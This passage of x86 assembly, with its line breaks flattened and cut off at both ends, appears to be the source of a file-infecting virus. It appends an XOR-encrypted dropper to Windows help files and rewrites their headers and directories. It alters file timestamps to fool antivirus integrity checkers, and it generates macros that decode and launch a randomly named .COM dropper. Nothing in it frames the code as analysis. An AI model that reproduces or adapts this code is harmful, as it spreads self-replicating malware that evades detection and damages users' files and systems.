INF_EXIT LODSD ;FILE_HEADER_RESERVEDSPACE SUB EAX,ECX ;8. REWRITE OLD "SYSTEM" DATA IN THE END OF MODULE MOV CX,LEN_IOBUFF-4 WRITE_NEXT_BLK: SUB EAX,ECX JAE IS_LONG_DATA ADD ECX,EAX XOR EAX,EAX IS_LONG_DATA: PUSH EAX MOV EAX,EDI ADD EDI,ECX CALL READ_FILE JB EXIT_READWRITE CALL HLP_WRITE_FILE EXIT_READWRITE: POP EAX JB WAS_ERROR AND EAX,EAX JNE WRITE_NEXT_BLK ;9. WRITE CORRECTED HLP_HEADER (VIA WRITE_FILE) LEA ESI,HLP_HEADER[EDX] PUSH SIZE HLP_START POP ECX CALL WRITE_FILE ;ASSUME THAT EAX=0 ;10. CREATE AND WRITE ENCRYPTED DROPPER IN THE END OF FILE (VIA HLP_WRITE_FILE) CALL SPE_THUNK ;ECX=LENGTH OF DROPPER PUSH ECX ESI LEA EDI,FIRST_DROP_MASK[EDX] MOV AX,[EDI] ENCRYPT_HDROP: XOR [ESI],AX ADD AX,RELO_MASK2[EDI] INC ESI LOOP ENCRYPT_HDROP POP ESI ECX CALL HLP_WRITE_FILE ;11. WRITE HLP_DIRECTORY WITH CORRECTED OFFSET OF "SYSTEM" BLOCK LEA ESI,HLP_DIRECTORY[EDX] MOV EAX,[ESI.HLP_START_DIRECTORYSTART-SIZE HLP_START] MOV CX,LEN_HLP_DIR AND 0FF00H ;------------------------------------------------ SET_WRITE_FILE: CALL SET_DATE JMP WRITE_FILE ;------------------------------------------------ READ_FILE_BUFF_0: XOR EAX,EAX READ_FILE_BUFF: LEA ESI,MAIN_BUFF[EDX] MOV CX,SIZE_MBUFF JMP READ_FILE ;------------------------------------------------ ZIP_READ_FILE: ADD EAX,ZIP_CUR_OFF[EDX] MOV ZIP_CUR_OFF[EDX],EAX ;ENTRY: EAX=POS,ECX=LENGTH,EBX=HANDLE,ESI=&BUFFER4READ ;EXIT: CF=1 IF ERROR AND EAX=ERROR CODE OR EAX=(REAL BYTES READ-LENGTH) READ_FILE PROC PUSH EDX MOV DX,R0_READFILE GO_READ: XCHG EAX,EDX CALL FILE_IO POP EDX JB WAS_ERROR SUB EAX,ECX WAS_ERROR: RET ENDP ;------------------------------------------------ HLP_WRITE_FILE: MOV EAX,[HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX] ADD [HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX],ECX ;------------------------------------------------ WRITE_FILE: PUSH EDX MOV DX,R0_WRITEFILE JMP GO_READ ;------------------------------------------------ SET_DATE: XOR 1 PTR [ESP+8],1 ;CHANGE TIME FOR FOOLING ADINF/AVPI SET_TIME: PUSH EAX CALL GET_SYS_TIME MOV INF_TIME[EDX],EAX POP EAX RETN ;------------------------------------------------ ;ENTRY: EDI=&BUFFER FOR STORING MACROS ;EXIT: EAX=LENGTH OF MACRO GEN_MACROS PROC PUSH EBX ESI EBP EDI LEA EDI,TEMP_EXT[EDX] CALL GEN_EXT ;EAX = 0 LEA EDI,RDROP_NAME[EDX] CALL GEN_NAME MOV EAX,'MOC.' STOSD XOR AL,AL STOSB CALL GET_RANDOM_MSK XCHG EAX,ECX CALL GET_RANDOM_MSK MOV AH,CL ADD AX,'AA' LEA ESI,RUN_DROPPER[EDX] LEA EDI,MAIN_BUFF[EDX] MOV 2 PTR DS:UU_MASK[ESI],AX MOV CL,LEN_UUD REP MOVSB MOV CL,LEN_RDROP_CON XCHG EAX,EBX UUE_BYTE: LODSB PUSH EAX SHR AL,4 ADD AL,BL STOSB POP EAX AND AL,0FH ADD AL,BH STOSB LOOP UUE_BYTE POP EDI PUSH EDI LEA ESI,RR_MACRO[EDX] CALL HLP_STORE LEA ESI,MAIN_BUFF[EDX] XOR EBP,EBP ;FIRST ITERATION MOV EBX,(LEN_UUD+2*LEN_RDROP_CON) ;LENGTH OF MACROS NEXT_ITER: PUSH ESI CALL HLP_STORE_DROP DEC EDI ;SKIP '